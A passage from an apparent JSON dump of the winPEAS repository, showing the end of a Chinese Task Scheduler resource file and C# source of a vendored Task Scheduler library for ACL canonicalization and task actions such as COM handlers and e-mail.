xml:space=\"preserve\">\n    <value>每月</value>\n  </data>\n  <data name=\"MultipleActions\" xml:space=\"preserve\">\n    <value>已定义多个操作</value>\n  </data>\n  <data name=\"MultipleTriggers\" xml:space=\"preserve\">\n    <value>已定义多个触发器</value>\n  </data>\n  <data name=\"ShowMessageAction\" xml:space=\"preserve\">\n    <value>{0}</value>\n  </data>\n  <data name=\"TaskDefaultPrincipal\" xml:space=\"preserve\">\n    <value>创建者</value>\n  </data>\n  <data name=\"TaskStateDisabled\" xml:space=\"preserve\">\n    <value>禁用</value>\n  </data>\n  <data name=\"TaskStateQueued\" xml:space=\"preserve\">\n    <value>排队</value>\n  </data>\n  <data name=\"TaskStateReady\" xml:space=\"preserve\">\n    <value>准备</value>\n  </data>\n  <data name=\"TaskStateRunning\" xml:space=\"preserve\">\n    <value>运行中</value>\n  </data>\n  <data name=\"TaskStateUnknown\" xml:space=\"preserve\">\n    <value>未知</value>\n  </data>\n  <data name=\"TriggerAnyUser\" xml:space=\"preserve\">\n    <value>任何人</value>\n  </data>\n  <data name=\"TriggerBoot1\" xml:space=\"preserve\">\n    <value>当系统启动</value>\n  </data>\n  <data name=\"TriggerDaily1\" xml:space=\"preserve\">\n    <value>每天 {0:t}</value>\n  </data>\n  <data name=\"TriggerDaily2\" xml:space=\"preserve\">\n    <value>每 {1} 天 {0:t}</value>\n  </data>\n  <data name=\"TriggerDuration0\" xml:space=\"preserve\">\n    <value>无限</value>\n  </data>\n  <data name=\"TriggerDurationNot0\" xml:space=\"preserve\">\n    <value>持续时间{0}</value>\n  </data>\n  <data name=\"TriggerEndBoundary\" xml:space=\"preserve\">\n    <value>触发器过期于{0:G}</value>\n  </data>\n  <data name=\"TriggerEvent1\" xml:space=\"preserve\">\n    <value>自定义时间过滤器</value>\n  </data>\n  <data name=\"TriggerEventBasic1\" xml:space=\"preserve\">\n    <value>当时间 – 日志: {0}</value>\n  </data>\n  <data name=\"TriggerEventBasic2\" xml:space=\"preserve\">\n    <value>, 源: {0}</value>\n  </data>\n  <data name=\"TriggerEventBasic3\" xml:space=\"preserve\">\n    <value>, 事件ID: {0}</value>\n  </data>\n  <data name=\"TriggerIdle1\" xml:space=\"preserve\">\n    <value>当计算机空闲</value>\n  </data>\n  <data name=\"TriggerLogon1\" xml:space=\"preserve\">\n    <value>在用户 {0} 登陆</value>\n  </data>\n  <data name=\"TriggerMonthly1\" xml:space=\"preserve\">\n    <value>每年 {2} 的 {1} {0:t}, 从 {0:d} 开始</value>\n  </data>\n  <data name=\"TriggerMonthlyDOW1\" xml:space=\"preserve\">\n    <value>每年 {3} 的 {1} 的 {2:f} {0:t}, 从 {0:d} 开始</value>\n  </data>\n  <data name=\"TriggerRegistration1\" xml:space=\"preserve\">\n    <value>当任务被创建或修改</value>\n  </data>\n  <data name=\"TriggerRepetition\" xml:space=\"preserve\">\n    <value>触发后，每 {0}{1}</value>\n  </data>\n  <data name=\"TriggerSessionConsoleConnect\" xml:space=\"preserve\">\n    <value>当用户 {0} 本地连线</value>\n  </data>\n  <data name=\"TriggerSessionConsoleDisconnect\" xml:space=\"preserve\">\n    <value>当用户 {0} 本地断线。</value>\n  </data>\n  <data name=\"TriggerSessionRemoteConnect\" xml:space=\"preserve\">\n    <value>当用户 {0} 远程连线。</value>\n  </data>\n  <data name=\"TriggerSessionRemoteDisconnect\" xml:space=\"preserve\">\n    <value>当用户 {0} 远程断线。</value>\n  </data>\n  <data name=\"TriggerSessionSessionLock\" xml:space=\"preserve\">\n    <value>当用户 {0} 工作站被锁。</value>\n  </data>\n  <data name=\"TriggerSessionSessionUnlock\" xml:space=\"preserve\">\n    <value>当用户 {0} 工作站解锁。</value>\n  </data>\n  <data name=\"TriggerSessionUserSession\" xml:space=\"preserve\">\n    <value>用户 {0} 的会话</value>\n  </data>\n  <data name=\"TriggerTime1\" xml:space=\"preserve\">\n    <value>当 {0:d}  {0:t}</value>\n  </data>\n  <data name=\"TriggerTypeBoot\" xml:space=\"preserve\">\n    <value>当启动</value>\n  </data>\n  <data name=\"TriggerTypeDaily\" xml:space=\"preserve\">\n    <value>每天</value>\n  </data>\n  <data name=\"TriggerTypeEvent\" xml:space=\"preserve\">\n    <value>当事件</value>\n  </data>\n  <data name=\"TriggerTypeIdle\" xml:space=\"preserve\">\n    <value>当空闲</value>\n  </data>\n  <data name=\"TriggerTypeLogon\" xml:space=\"preserve\">\n    <value>当登录</value>\n  </data>\n  <data name=\"TriggerTypeMonthly\" xml:space=\"preserve\">\n    <value>每月</value>\n  </data>\n  <data name=\"TriggerTypeMonthlyDOW\" xml:space=\"preserve\">\n    <value>每月</value>\n  </data>\n  <data name=\"TriggerTypeRegistration\" xml:space=\"preserve\">\n    <value>在創建或修改一個任務</value>\n  </data>\n  <data name=\"TriggerTypeSessionStateChange\" xml:space=\"preserve\">\n    <value>当状态改变</value>\n  </data>\n  <data name=\"TriggerTypeTime\" xml:space=\"preserve\">\n    <value>一次</value>\n  </data>\n  <data name=\"TriggerTypeWeekly\" xml:space=\"preserve\">\n    <value>每周</value>\n  </data>\n  <data name=\"TriggerWeekly1Week\" xml:space=\"preserve\">\n    <value>每周的 {1} {0:t}, 从 {0:d} 开始</value>\n  </data>\n  <data name=\"TriggerWeeklyMultWeeks\" xml:space=\"preserve\">\n    <value>每 {2} 周的 {1} {0:t}, 从 {0:d} 开始</value>\n  </data>\n  <data name=\"WWAllWeeks\" xml:space=\"preserve\">\n    <value>每</value>\n  </data>\n  <data name=\"WWFifthWeek\" xml:space=\"preserve\">\n    <value>第五周</value>\n  </data>\n  <data name=\"WWFirstWeek\" xml:space=\"preserve\">\n    <value>第一周</value>\n  </data>\n  <data name=\"WWFourthWeek\" xml:space=\"preserve\">\n    <value>第四周</value>\n  </data>\n  <data name=\"WWLastWeek\" xml:space=\"preserve\">\n    <value>上周</value>\n  </data>\n  <data name=\"WWSecondWeek\" xml:space=\"preserve\">\n    <value>第二周</value>\n  </data>\n  <data name=\"WWThirdWeek\" xml:space=\"preserve\">\n    <value>第三周</value>\n  </data>\n  <data name=\"TriggerTypeCustom\" xml:space=\"preserve\">\n    <value>定制触发器</value>\n  </data>\n  <data name=\"TriggerCustom1\" xml:space=\"preserve\">\n    <value>定制触发器</value>\n  </data>\n  <data name=\"TriggerRepetitionShort\" xml:space=\"preserve\">\n    <value>每隔{0}{1}</value>\n  </data>\n  <data name=\"TriggerDurationNot0Short\" xml:space=\"preserve\">\n    <value>{0}</value>\n  </data>\n  <data name=\"Error_TriggerEndBeforeStart\" xml:space=\"preserve\">\n    <value>触发器到期的日期和时间必须晚于其启动或激活的时间。</value>\n  </data>\n</root>"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/TaskScheduler/AccessControlExtension.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Security.AccessControl;\n\nnamespace winPEAS.TaskScheduler\n{\n    /// <summary>Extensions for classes in the System.Security.AccessControl namespace.</summary>\n    public static class AccessControlExtension\n    {\n        /// <summary>Canonicalizes the specified Access Control List.</summary>\n        /// <param name=\"acl\">The Access Control List.</param>\n        public static void Canonicalize(this RawAcl acl)\n        {\n            if (acl == null) throw new ArgumentNullException(nameof(acl));\n\n            // Extract aces to list\n            var aces = new System.Collections.Generic.List<GenericAce>(acl.Cast<GenericAce>());\n\n            // Sort aces based on canonical order\n            aces.Sort((a, b) => Comparer<byte>.Default.Compare(GetComparisonValue(a), GetComparisonValue(b)));\n\n            // Add sorted aces back to ACL\n            while (acl.Count > 0) acl.RemoveAce(0);\n            var aceIndex = 0;\n            aces.ForEach(ace => acl.InsertAce(aceIndex++, ace));\n        }\n\n        /// <summary>Sort ACEs according to canonical form for this <see cref=\"ObjectSecurity\"/>.</summary>\n        /// <param name=\"objectSecurity\">The object security whose DiscretionaryAcl will be made canonical.</param>\n        public static void CanonicalizeAccessRules(this ObjectSecurity objectSecurity)\n        {\n            if (objectSecurity == null) throw new ArgumentNullException(nameof(objectSecurity));\n            if (objectSecurity.AreAccessRulesCanonical) return;\n\n            // Get raw SD from objectSecurity and canonicalize DACL\n            var sd = new RawSecurityDescriptor(objectSecurity.GetSecurityDescriptorBinaryForm(), 0);\n            sd.DiscretionaryAcl.Canonicalize();\n\n            // Convert SD back into objectSecurity\n            objectSecurity.SetSecurityDescriptorBinaryForm(sd.GetBinaryForm());\n        }\n\n        /// <summary>Returns an array of byte values that represents the information contained in this <see cref=\"GenericSecurityDescriptor\"/> object.</summary>\n        /// <param name=\"sd\">The <see cref=\"GenericSecurityDescriptor\"/> object.</param>\n        /// <returns>The byte array into which the contents of the <see cref=\"GenericSecurityDescriptor\"/> is marshaled.</returns>\n        public static byte[] GetBinaryForm(this GenericSecurityDescriptor sd)\n        {\n            if (sd == null) throw new ArgumentNullException(nameof(sd));\n            var bin = new byte[sd.BinaryLength];\n            sd.GetBinaryForm(bin, 0);\n            return bin;\n        }\n\n        // A canonical ACL must have ACES sorted according to the following order:\n        // 1. Access-denied on the object\n        // 2. Access-denied on a child or property\n        // 3. Access-allowed on the object\n        // 4. Access-allowed on a child or property\n        // 5. All inherited ACEs\n        private static byte GetComparisonValue(GenericAce ace)\n        {\n            if ((ace.AceFlags & AceFlags.Inherited) != 0)\n                return 5;\n            switch (ace.AceType)\n            {\n                case AceType.AccessDenied:\n                case AceType.AccessDeniedCallback:\n                case AceType.SystemAudit:\n                case AceType.SystemAlarm:\n                case AceType.SystemAuditCallback:\n                case AceType.SystemAlarmCallback:\n                    return 0;\n                case AceType.AccessDeniedObject:\n                case AceType.AccessDeniedCallbackObject:\n                case AceType.SystemAuditObject:\n                case AceType.SystemAlarmObject:\n                case AceType.SystemAuditCallbackObject:\n                case AceType.SystemAlarmCallbackObject:\n                    return 1;\n                case AceType.AccessAllowed:\n                case AceType.AccessAllowedCallback:\n                    return 2;\n                case AceType.AccessAllowedObject:\n                case AceType.AccessAllowedCallbackObject:\n                    return 3;\n                default:\n                    return 4;\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/TaskScheduler/Action.cs",
    "content": "﻿using Microsoft.Win32;\nusing System;\nusing System.Collections.Generic;\nusing System.ComponentModel;\nusing System.Reflection;\nusing System.Runtime.InteropServices;\nusing System.Xml.Serialization;\nusing winPEAS.TaskScheduler.V1;\nusing winPEAS.TaskScheduler.V2;\n\nnamespace winPEAS.TaskScheduler\n{\n    /// <summary>Defines the type of actions a task can perform.</summary>\n    /// <remarks>The action type is defined when the action is created and cannot be changed later. See <see cref=\"ActionCollection.AddNew\"/>.</remarks>\n    public enum TaskActionType\n    {\n        /// <summary>\n        /// This action performs a command-line operation. For example, the action can run a script, launch an executable, or, if the name\n        /// of a document is provided, find its associated application and launch the application with the document.\n        /// </summary>\n        Execute = 0,\n\n        /// <summary>This action fires a handler.</summary>\n        ComHandler = 5,\n\n        /// <summary>This action sends and e-mail.</summary>\n        SendEmail = 6,\n\n        /// <summary>This action shows a message box.</summary>\n        ShowMessage = 7\n    }\n\n    /// <summary>An interface that exposes the ability to convert an actions functionality to a PowerShell script.</summary>\n    internal interface IBindAsExecAction\n    {\n    }\n\n    /// <summary>\n    /// Abstract base class that provides the common properties that are inherited by all action objects. An action object is created by the\n    /// <see cref=\"ActionCollection.AddNew\"/> method.\n    /// </summary>\n    [PublicAPI]\n    public abstract class Action : IDisposable, ICloneable, IEquatable<Action>, INotifyPropertyChanged, IComparable, IComparable<Action>\n    {\n        internal IAction iAction;\n        internal ITask v1Task;\n\n        /// <summary>List of unbound values when working with Actions not associated with a registered task.</summary>\n        protected readonly Dictionary<string, object> unboundValues = new Dictionary<string, object>();\n\n        internal Action()\n        {\n        }\n\n        internal Action([NotNull] IAction action) => iAction = action;\n\n        internal Action([NotNull] ITask iTask) => v1Task = iTask;\n\n        /// <summary>Occurs when a property value changes.</summary>\n        public event PropertyChangedEventHandler PropertyChanged;\n\n        /// <summary>Gets the type of the action.</summary>\n        /// <value>The type of the action.</value>\n        [XmlIgnore]\n        public TaskActionType ActionType => iAction?.Type ?? InternalActionType;\n\n        /// <summary>Gets or sets the identifier of the action.</summary>\n        [DefaultValue(null)]\n        [XmlAttribute(AttributeName = \"id\")]\n        public virtual string Id\n        {\n            get => GetProperty<string, IAction>(nameof(Id));\n            set => SetProperty<string, IAction>(nameof(Id), value);\n        }\n\n        internal abstract TaskActionType InternalActionType { get; }\n\n        /// <summary>Creates the specified action.</summary>\n        /// <param name=\"actionType\">Type of the action to instantiate.</param>\n        /// <returns><see cref=\"Action\"/> of specified type.</returns>\n        public static Action CreateAction(TaskActionType actionType) => Activator.CreateInstance(GetObjectType(actionType)) as Action;\n\n        /// <summary>Creates a new object that is a copy of the current instance.</summary>\n        /// <returns>A new object that is a copy of this instance.</returns>\n        public object Clone()\n        {\n            var ret = CreateAction(ActionType);\n            ret.CopyProperties(this);\n            return ret;\n        }\n\n        /// <summary>\n        /// Compares the current instance with another object of the same type and returns an integer that indicates whether the current\n        /// instance precedes, follows, or occurs in the same position in the sort order as the other object.\n        /// </summary>\n        /// <param name=\"obj\">An object to compare with this instance.</param>\n        /// <returns>A value that indicates the relative order of the objects being compared.</returns>\n        public int CompareTo(Action obj) => string.Compare(Id, obj?.Id, StringComparison.InvariantCulture);\n\n        /// <summary>Releases all resources used by this class.</summary>\n        public virtual void Dispose()\n        {\n            if (iAction != null)\n                Marshal.ReleaseComObject(iAction);\n        }\n\n        /// <summary>Determines whether the specified <see cref=\"object\"/>, is equal to this instance.</summary>\n        /// <param name=\"obj\">The <see cref=\"object\"/> to compare with this instance.</param>\n        /// <returns><c>true</c> if the specified <see cref=\"object\"/> is equal to this instance; otherwise, <c>false</c>.</returns>\n        public override bool Equals([CanBeNull] object obj)\n        {\n            if (obj is Action)\n                return Equals((Action)obj);\n            return base.Equals(obj);\n        }\n\n        /// <summary>Indicates whether the current object is equal to another object of the same type.</summary>\n        /// <param name=\"other\">An object to compare with this object.</param>\n        /// <returns><c>true</c> if the current object is equal to the <paramref name=\"other\"/> parameter; otherwise, <c>false</c>.</returns>\n        public virtual bool Equals([NotNull] Action other) => ActionType == other.ActionType && Id == other.Id;\n\n        /// <summary>Returns a hash code for this instance.</summary>\n        /// <returns>A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table.</returns>\n        public override int GetHashCode() => new { A = ActionType, B = Id }.GetHashCode();\n\n        /// <summary>Returns the action Id.</summary>\n        /// <returns>String representation of action.</returns>\n        public override string ToString() => Id;\n\n        /// <summary>Returns a <see cref=\"string\"/> that represents this action.</summary>\n        /// <param name=\"culture\">The culture.</param>\n        /// <returns>String representation of action.</returns>\n        public virtual string ToString([NotNull] System.Globalization.CultureInfo culture)\n        {\n            using (new CultureSwitcher(culture))\n                return ToString();\n        }\n\n        int IComparable.CompareTo(object obj) => CompareTo(obj as Action);\n\n        internal static Action ActionFromScript(string actionType, string script)\n        {\n            var tat = TryParse(actionType, TaskActionType.Execute);\n            var t = GetObjectType(tat);\n            return (Action)t.InvokeMember(\"FromPowerShellCommand\", BindingFlags.DeclaredOnly | BindingFlags.NonPublic | BindingFlags.Static | BindingFlags.InvokeMethod, null, null, new object[] { script });\n        }\n\n        internal static Action ConvertFromPowerShellAction(ExecAction execAction)\n        {\n            var psi = execAction.ParsePowerShellItems();\n            if (psi != null && psi.Length == 2)\n            {\n                var a = ActionFromScript(psi[0], psi[1]);\n                if (a != null)\n                {\n                    a.v1Task = execAction.v1Task;\n                    a.iAction = execAction.iAction;\n                    return a;\n                }\n            }\n            return null;\n        }\n\n        /// <summary>Creates a specialized class from a defined interface.</summary>\n        /// <param name=\"iTask\">Version 1.0 interface.</param>\n        /// <returns>Specialized action class</returns>\n        internal static Action CreateAction(ITask iTask)\n        {\n            var tempAction = new ExecAction(iTask);\n            return ConvertFromPowerShellAction(tempAction) ?? tempAction;\n        }\n\n        /// <summary>Creates a specialized class from a defined interface.</summary>\n        /// <param name=\"iAction\">Version 2.0 Action interface.</param>\n        /// <returns>Specialized action class</returns>\n        internal static Action CreateAction(IAction iAction)\n        {\n            var t = GetObjectType(iAction.Type);\n            return Activator.CreateInstance(t, BindingFlags.CreateInstance | BindingFlags.NonPublic | BindingFlags.Instance, null, new object[] { iAction }, null) as Action;\n        }\n\n        internal static T TryParse<T>(string val, T defaultVal)\n        {\n            var ret = defaultVal;\n            if (val != null)\n                try { ret = (T)Enum.Parse(typeof(T), val); } catch { }\n            return ret;\n        }\n\n        internal virtual void Bind(ITask iTask)\n        {\n            if (Id != null)\n                iTask.SetDataItem(\"ActionId\", Id);\n            var bindable = this as IBindAsExecAction;\n            if (bindable != null)\n                iTask.SetDataItem(\"ActionType\", InternalActionType.ToString());\n            unboundValues.TryGetValue(\"Path\", out var o);\n            iTask.SetApplicationName(bindable != null ? ExecAction.PowerShellPath : o?.ToString() ?? string.Empty);\n            unboundValues.TryGetValue(\"Arguments\", out o);\n            iTask.SetParameters(bindable != null ? ExecAction.BuildPowerShellCmd(ActionType.ToString(), GetPowerShellCommand()) : o?.ToString() ?? string.Empty);\n            unboundValues.TryGetValue(\"WorkingDirectory\", out o);\n            iTask.SetWorkingDirectory(o?.ToString() ?? string.Empty);\n        }\n\n        internal virtual void Bind(ITaskDefinition iTaskDef)\n        {\n            var iActions = iTaskDef.Actions;\n            if (iActions.Count >= ActionCollection.MaxActions)\n                throw new ArgumentOutOfRangeException(nameof(iTaskDef), @\"A maximum of 32 actions is allowed within a single task.\");\n            CreateV2Action(iActions);\n            Marshal.ReleaseComObject(iActions);\n            foreach (var key in unboundValues.Keys)\n            {\n                try { ReflectionHelper.SetProperty(iAction, key, unboundValues[key]); }\n                catch (TargetInvocationException tie) { throw tie.InnerException; }\n                catch { }\n            }\n            unboundValues.Clear();\n        }\n\n        /// <summary>Copies the properties from another <see cref=\"Action\"/> the current instance.</summary>\n        /// <param name=\"sourceAction\">The source <see cref=\"Action\"/>.</param>\n        internal virtual void CopyProperties([NotNull] Action sourceAction) => Id = sourceAction.Id;\n\n        internal abstract void CreateV2Action(IActionCollection iActions);\n\n        internal abstract string GetPowerShellCommand();\n\n        internal T GetProperty<T, TB>(string propName, T defaultValue = default)\n        {\n            if (iAction == null)\n                return unboundValues.TryGetValue(propName, out var value) ? (T)value : defaultValue;\n            return ReflectionHelper.GetProperty((TB)iAction, propName, defaultValue);\n        }\n\n        internal void OnPropertyChanged(string propName) => PropertyChanged?.Invoke(this, new PropertyChangedEventArgs(propName));\n\n        internal void SetProperty<T, TB>(string propName, T value)\n        {\n            if (iAction == null)\n            {\n                if (Equals(value, default(T)))\n                    unboundValues.Remove(propName);\n                else\n                    unboundValues[propName] = value;\n            }\n            else\n                ReflectionHelper.SetProperty((TB)iAction, propName, value);\n            OnPropertyChanged(propName);\n        }\n\n        [NotNull]\n        private static Type GetObjectType(TaskActionType actionType)\n        {\n            switch (actionType)\n            {\n                case TaskActionType.ComHandler:\n                    return typeof(ComHandlerAction);\n                case TaskActionType.SendEmail:\n                    return typeof(EmailAction);\n                case TaskActionType.ShowMessage:\n                    return typeof(ShowMessageAction);\n\n                default:\n                    return typeof(ExecAction);\n            }\n        }\n\n        /// <summary>\n        /// Represents an action that fires a handler. Only available on Task Scheduler 2.0. <note>Only available for Task Scheduler 2.0 on\n        /// Windows Vista or Windows Server 2003 and later.</note>\n        /// </summary>\n        /// <remarks>\n        /// This action is the most complex. It allows the task to execute and In-Proc COM server object that implements the ITaskHandler\n        /// interface. There is a sample project that shows how to do this in the Downloads section.\n        /// </remarks>\n        /// <example>\n        /// <code lang=\"cs\">\n        ///<![CDATA[\n        ///ComHandlerAction comAction = new ComHandlerAction(new Guid(\"{CE7D4428-8A77-4c5d-8A13-5CAB5D1EC734}\"));\n        ///comAction.Data = \"Something specific the COM object needs to execute. This can be left unassigned as well.\";\n        ///]]>\n        /// </code>\n        /// </example>\n        [XmlType(IncludeInSchema = true)]\n        [XmlRoot(\"ComHandler\", Namespace = TaskDefinition.tns, IsNullable = false)]\n        public class ComHandlerAction : Action, IBindAsExecAction\n        {\n            /// <summary>Creates an unbound instance of <see cref=\"ComHandlerAction\"/>.</summary>\n            public ComHandlerAction() { }\n\n            /// <summary>Creates an unbound instance of <see cref=\"ComHandlerAction\"/>.</summary>\n            /// <param name=\"classId\">Identifier of the handler class.</param>\n            /// <param name=\"data\">Addition data associated with the handler.</param>\n            public ComHandlerAction(Guid classId, [CanBeNull] string data)\n            {\n                ClassId = classId;\n                Data = data;\n            }\n\n            internal ComHandlerAction([NotNull] ITask task) : base(task)\n            {\n            }\n\n            internal ComHandlerAction([NotNull] IAction action) : base(action)\n            {\n            }\n\n            /// <summary>Gets or sets the identifier of the handler class.</summary>\n            public Guid ClassId\n            {\n                get => new Guid(GetProperty<string, IComHandlerAction>(nameof(ClassId), Guid.Empty.ToString()));\n                set => SetProperty<string, IComHandlerAction>(nameof(ClassId), value.ToString());\n            }\n\n            /// <summary>Gets the name of the object referred to by <see cref=\"ClassId\"/>.</summary>\n            public string ClassName => GetNameForCLSID(ClassId);\n\n            /// <summary>Gets or sets additional data that is associated with the handler.</summary>\n            [DefaultValue(null)]\n            [CanBeNull]\n            public string Data\n            {\n                get => GetProperty<string, IComHandlerAction>(nameof(Data));\n                set => SetProperty<string, IComHandlerAction>(nameof(Data), value);\n            }\n\n            internal override TaskActionType InternalActionType => TaskActionType.ComHandler;\n\n            /// <summary>Indicates whether the current object is equal to another object of the same type.</summary>\n            /// <param name=\"other\">An object to compare with this object.</param>\n            /// <returns><c>true</c> if the current object is equal to the <paramref name=\"other\"/> parameter; otherwise, <c>false</c>.</returns>\n            public override bool Equals(Action other) => base.Equals(other) && ClassId == ((ComHandlerAction)other).ClassId && Data == ((ComHandlerAction)other).Data;\n\n            /// <summary>Gets a string representation of the <see cref=\"ComHandlerAction\"/>.</summary>\n            /// <returns>String representation of this action.</returns>\n            public override string ToString() => string.Format(Properties.Resources.ComHandlerAction, ClassId, Data, Id, ClassName);\n\n            internal static Action FromPowerShellCommand(string p)\n            {\n                var match = System.Text.RegularExpressions.Regex.Match(p, @\"^\\[Reflection.Assembly\\]::LoadFile\\('(?:[^']*)'\\); \\[Microsoft.Win32.TaskScheduler.TaskService\\]::RunComHandlerAction\\(\\[GUID\\]\\('(?<g>[^']*)'\\), '(?<d>[^']*)'\\);?\\s*$\");\n                return match.Success ? new ComHandlerAction(new Guid(match.Groups[\"g\"].Value), match.Groups[\"d\"].Value.Replace(\"''\", \"'\")) : null;\n            }\n\n            /// <summary>Copies the properties from another <see cref=\"System.Action\"/> the current instance.</summary>\n            /// <param name=\"sourceAction\">The source <see cref=\"System.Action\"/>.</param>\n            internal override void CopyProperties(Action sourceAction)\n            {\n                if (sourceAction.GetType() == GetType())\n                {\n                    base.CopyProperties(sourceAction);\n                    ClassId = ((ComHandlerAction)sourceAction).ClassId;\n                    Data = ((ComHandlerAction)sourceAction).Data;\n                }\n            }\n\n            internal override void CreateV2Action([NotNull] IActionCollection iActions) => iAction = iActions.Create(TaskActionType.ComHandler);\n\n            internal override string GetPowerShellCommand()\n            {\n                var sb = new System.Text.StringBuilder();\n                sb.Append($\"[Reflection.Assembly]::LoadFile('{Assembly.GetExecutingAssembly().Location}'); \");\n                sb.Append($\"[Microsoft.Win32.TaskScheduler.TaskService]::RunComHandlerAction([GUID]('{ClassId:D}'), '{Data?.Replace(\"'\", \"''\") ?? string.Empty}'); \");\n                return sb.ToString();\n            }\n\n            /// <summary>Gets the name for CLSID.</summary>\n            /// <param name=\"guid\">The unique identifier.</param>\n            /// <returns></returns>\n            [CanBeNull]\n            private static string GetNameForCLSID(Guid guid)\n            {\n                using (var k = Registry.ClassesRoot.OpenSubKey(\"CLSID\", false))\n                {\n                    if (k != null)\n                    {\n                        using (var k2 = k.OpenSubKey(guid.ToString(\"B\"), false))\n                        {\n                            return k2?.GetValue(null) as string;\n                        }\n                    }\n                }\n                return null;\n            }\n        }\n\n        /// <summary>\n        /// Represents an action that sends an e-mail. <note>Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and\n        /// later.</note><note type=\"warning\">This action has been deprecated in Windows 8 and later. However, this library is able to mimic its\n        /// functionality using PowerShell if the <see cref=\"ActionCollection.PowerShellConversion\"/> property is set to <see\n        /// cref=\"PowerShellActionPlatformOption.All\"/>. To disable this conversion, set the value to <see cref=\"PowerShellActionPlatformOption.Never\"/>.</note>\n        /// </summary>\n        /// <remarks>The EmailAction allows for an email to be sent when the task is triggered.</remarks>\n        /// <example>\n        /// <code lang=\"cs\">\n        ///<![CDATA[\n        ///EmailAction ea = new EmailAction(\"Task fired\", \"sender@email.com\", \"recipient@email.com\", \"You just got a message\", \"smtp.company.com\");\n        ///ea.Bcc = \"alternate@email.com\";\n        ///ea.HeaderFields.Add(\"reply-to\", \"dh@mail.com\");\n        ///ea.Priority = System.Net.Mail.MailPriority.High;\n        /// // All attachement paths are checked to ensure there is an existing file\n        ///ea.Attachments = new object[] { \"localpath\\\\ondiskfile.txt\" };\n        ///]]>\n        /// </code>\n        /// </example>\n        [XmlType(IncludeInSchema = true)]\n        [XmlRoot(\"SendEmail\", Namespace = TaskDefinition.tns, IsNullable = false)]\n        public sealed class EmailAction : Action, IBindAsExecAction\n        {\n            private const string ImportanceHeader = \"Importance\";\n\n            private NamedValueCollection nvc;\n            private bool validateAttachments = true;\n\n            /// <summary>Creates an unbound instance of <see cref=\"EmailAction\"/>.</summary>\n            public EmailAction() { }\n\n            /// <summary>Creates an unbound instance of <see cref=\"EmailAction\"/>.</summary>\n            /// <param name=\"subject\">Subject of the e-mail.</param>\n            /// <param name=\"from\">E-mail address that you want to send the e-mail from.</param>\n            /// <param name=\"to\">E-mail address or addresses that you want to send the e-mail to.</param>\n            /// <param name=\"body\">Body of the e-mail that contains the e-mail message.</param>\n            /// <param name=\"mailServer\">Name of the server that you use to send e-mail from.</param>\n            public EmailAction([CanBeNull] string subject, [NotNull] string from, [NotNull] string to, [CanBeNull] string body, [NotNull] string mailServer)\n            {\n                Subject = subject;\n                From = from;\n                To = to;\n                Body = body;\n                Server = mailServer;\n            }\n\n            internal EmailAction([NotNull] ITask task) : base(task)\n            {\n            }\n\n            internal EmailAction([NotNull] IAction action) : base(action)\n            {\n            }\n\n            /// <summary>\n            /// Gets or sets an array of file paths to be sent as attachments with the e-mail. Each item must be a <see cref=\"string\"/> value\n            /// containing a path to file.\n            /// </summary>\n            [XmlArray(\"Attachments\", IsNullable = true)]\n            [XmlArrayItem(\"File\", typeof(string))]\n            [DefaultValue(null)]\n            public object[] Attachments\n            {\n                get => GetProperty<object[], IEmailAction>(nameof(Attachments));\n                set\n                {\n                    if (value != null)\n                    {\n                        if (value.Length > 8)\n                            throw new ArgumentOutOfRangeException(nameof(Attachments), @\"Attachments array cannot contain more than 8 items.\");\n                        if (validateAttachments)\n                        {\n                            foreach (var o in value)\n                                if (!(o is string) || !System.IO.File.Exists((string)o))\n                                    throw new ArgumentException(@\"Each value of the array must contain a valid file reference.\", nameof(Attachments));\n                        }\n                    }\n                    if (iAction == null && (value == null || value.Length == 0))\n                    {\n                        unboundValues.Remove(nameof(Attachments));\n                        OnPropertyChanged(nameof(Attachments));\n                    }\n                    else\n                        SetProperty<object[], IEmailAction>(nameof(Attachments), value);\n                }\n            }\n\n            /// <summary>Gets or sets the e-mail address or addresses that you want to Bcc in the e-mail.</summary>\n            [DefaultValue(null)]\n            public string Bcc\n            {\n                get => GetProperty<string, IEmailAction>(nameof(Bcc));\n                set => SetProperty<string, IEmailAction>(nameof(Bcc), value);\n            }\n\n            /// <summary>Gets or sets the body of the e-mail that contains the e-mail message.</summary>\n            [DefaultValue(null)]\n            public string Body\n            {\n                get => GetProperty<string, IEmailAction>(nameof(Body));\n                set => SetProperty<string, IEmailAction>(nameof(Body), value);\n            }\n\n            /// <summary>Gets or sets the e-mail address or addresses that you want to Cc in the e-mail.</summary>\n            [DefaultValue(null)]\n            public string Cc\n            {\n                get => GetProperty<string, IEmailAction>(nameof(Cc));\n                set => SetProperty<string, IEmailAction>(nameof(Cc), value);\n            }\n\n            /// <summary>Gets or sets the e-mail address that you want to send the e-mail from.</summary>\n            [DefaultValue(null)]\n            public string From\n            {\n                get => GetProperty<string, IEmailAction>(nameof(From));\n                set => SetProperty<string, IEmailAction>(nameof(From), value);\n            }\n\n            /// <summary>Gets or sets the header information in the e-mail message to send.</summary>\n            [XmlArray]\n            [XmlArrayItem(\"HeaderField\", typeof(NameValuePair))]\n            [NotNull]\n            public NamedValueCollection HeaderFields\n            {\n                get\n                {\n                    if (nvc == null)\n                    {\n                        nvc = iAction == null ? new NamedValueCollection() : new NamedValueCollection(((IEmailAction)iAction).HeaderFields);\n                        nvc.AttributedXmlFormat = false;\n                        nvc.CollectionChanged += (o, e) => OnPropertyChanged(nameof(HeaderFields));\n                    }\n                    return nvc;\n                }\n            }\n\n            /// <summary>Gets or sets the priority of the e-mail message.</summary>\n            /// <value>A <see cref=\"System.Net.Mail.MailPriority\"/> that contains the priority of this message.</value>\n            [XmlIgnore]\n            [DefaultValue(typeof(System.Net.Mail.MailPriority), \"Normal\")]\n            public System.Net.Mail.MailPriority Priority\n            {\n                get\n                {\n                    if (nvc != null && HeaderFields.TryGetValue(ImportanceHeader, out var s))\n                        return TryParse(s, System.Net.Mail.MailPriority.Normal);\n                    return System.Net.Mail.MailPriority.Normal;\n                }\n                set => HeaderFields[ImportanceHeader] = value.ToString();\n            }\n\n            /// <summary>Gets or sets the e-mail address that you want to reply to.</summary>\n            [DefaultValue(null)]\n            public string ReplyTo\n            {\n                get => GetProperty<string, IEmailAction>(nameof(ReplyTo));\n                set => SetProperty<string, IEmailAction>(nameof(ReplyTo), value);\n            }\n\n            /// 